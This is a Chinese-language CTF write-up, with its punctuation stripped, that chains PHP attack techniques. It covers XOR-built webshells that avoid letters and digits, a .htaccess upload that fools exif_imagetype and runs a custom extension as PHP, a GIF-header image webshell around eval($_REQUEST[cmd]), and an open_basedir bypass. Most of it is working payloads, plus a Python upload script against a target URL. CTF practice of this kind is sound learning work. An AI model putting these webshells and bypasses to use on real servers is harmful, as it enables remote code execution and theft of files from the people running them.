1. 无字母数字Webshell的构造原理在CTF比赛中经常会遇到需要构造无字母数字Webshell的场景。这类限制通常出现在代码执行漏洞中题目会过滤掉所有字母和数字字符使得传统的Webshell构造方法失效。这时候我们就需要利用PHP的一些特性来绕过这些限制。PHP中可以通过异或、取反、自增等操作来生成任意字符。以异或为例两个非字母数字的字符进行异或运算可能会产生字母或数字。比如字符^ASCII码94和字符~ASCII码126异或可以得到字母dASCII码100。在实际操作中我们可以先确定需要构造的字符串比如_GET然后编写脚本寻找合适的字符组合?php function generate_xor_payload($target) { $allowed_chars range(33, 255); // 所有可打印非字母数字字符 $result []; for($i0; $istrlen($target); $i){ $found false; foreach($allowed_chars as $c1){ foreach($allowed_chars as $c2){ if(($c1 ^ $c2) ord($target[$i])){ $result[] [ char $target[$i], payload %.dechex($c1).^%.dechex($c2) ]; $found true; break 2; } } } if(!$found) die(无法生成字符: .$target[$i]); } return $result; } print_r(generate_xor_payload(_GET)); ?这个脚本会输出构造_GET字符串所需的异或组合。在实际使用时我们可以将这些异或组合拼接起来形成最终的payload。比如构造${_GET}{%86}()这样的形式其中_GET通过异或生成%86是一个参数名整体长度控制在18个字符以内。2. 文件上传的绕过技巧当面对严格的文件上传限制时我们需要多层次的绕过技巧。以题目中的限制为例后缀名过滤禁止包含ph的后缀如.php, .phtml等内容过滤检测文件内容是否包含?文件类型验证通过exif_imagetype()验证是否为有效图片针对这些限制我们可以采用以下方法2.1 使用.htaccess文件进行解析规则修改.htaccess文件可以修改Apache的配置我们可以利用它将特定后缀的文件当作PHP解析。一个典型的payload如下#define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh php_value auto_append_file php://filter/convert.base64-decode/resource./shell.ahhh这里有几个关键点开头的#define是为了绕过exif_imagetype的检测让它认为这是一个图片文件AddType指令将.ahhh后缀的文件当作PHP解析auto_append_file会自动包含指定文件的内容2.2 构造图片马由于题目要求上传的文件必须是图片我们需要构造一个包含Webshell的图片文件。基本思路是在图片头部添加GIF标识后面跟上经过处理的PHP代码GIF89a12PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg这里的GIF89a是GIF文件头12是为了补足8个字节base64解码要求长度是4的倍数后面是base64编码的PHP代码?php eval($_REQUEST[cmd]);?。3. open_basedir的绕过方法open_basedir是PHP的一个安全配置用于限制PHP脚本可以访问的目录范围。当我们需要突破这个限制时可以采用以下步骤首先进入一个子目录如img使用ini_set()修改open_basedir为..多次使用chdir(..)向上跳转目录最后将open_basedir设置为/现在就可以访问任意目录了具体的PHP代码如下chdir(img); ini_set(open_basedir,..); chdir(..); chdir(..); chdir(..); chdir(..); ini_set(open_basedir,/); var_dump(scandir(/));这个技巧利用了PHP的一个特性当修改open_basedir时它只检查当前工作目录是否在新设置的路径中。通过逐步向上跳转目录我们可以最终将open_basedir设置为根目录。4. 完整攻击链的实战演示现在我们把前面介绍的技术组合起来完成从代码执行到获取flag的完整过程4.1 第一步代码执行使用异或构造的payload执行任意代码?_${%86%87%87%87^%d9%c0%c2%d3}{%86}();%86get_the_flag这个payload会调用get_the_flag()函数开启文件上传功能。4.2 第二步上传.htaccess和Webshell使用Python脚本上传两个文件import requests import base64 htaccess b#define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh php_value auto_append_file php://filter/convert.base64-decode/resource./shell.ahhh shell bGIF89a12 base64.b64encode(b?php eval($_REQUEST[cmd]);?) url http://target.com/?_${%86%86%86%86^%d9%c1%c3%d2}{%86}();%86get_the_flag files {file:(.htaccess,htaccess,image/jpeg)} data {upload:Submit} response requests.post(urlurl, datadata, filesfiles) print(response.text) files {file:(shell.ahhh,shell,image/jpeg)} response requests.post(urlurl, datadata, filesfiles) print(response.text)4.3 第三步绕过open_basedir读取flag通过上传的Webshell执行目录遍历和文件读取/upload/tmp_xxx/shell.ahhh?cmdchdir(img);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);echo(file_get_contents(/THis_Is_tHe_F14g));这个完整的攻击链展示了如何在严格的限制条件下通过组合多种技术最终获取系统权限。在实际CTF比赛中理解每个环节的原理并能够灵活组合各种技术是解决这类题目的关键。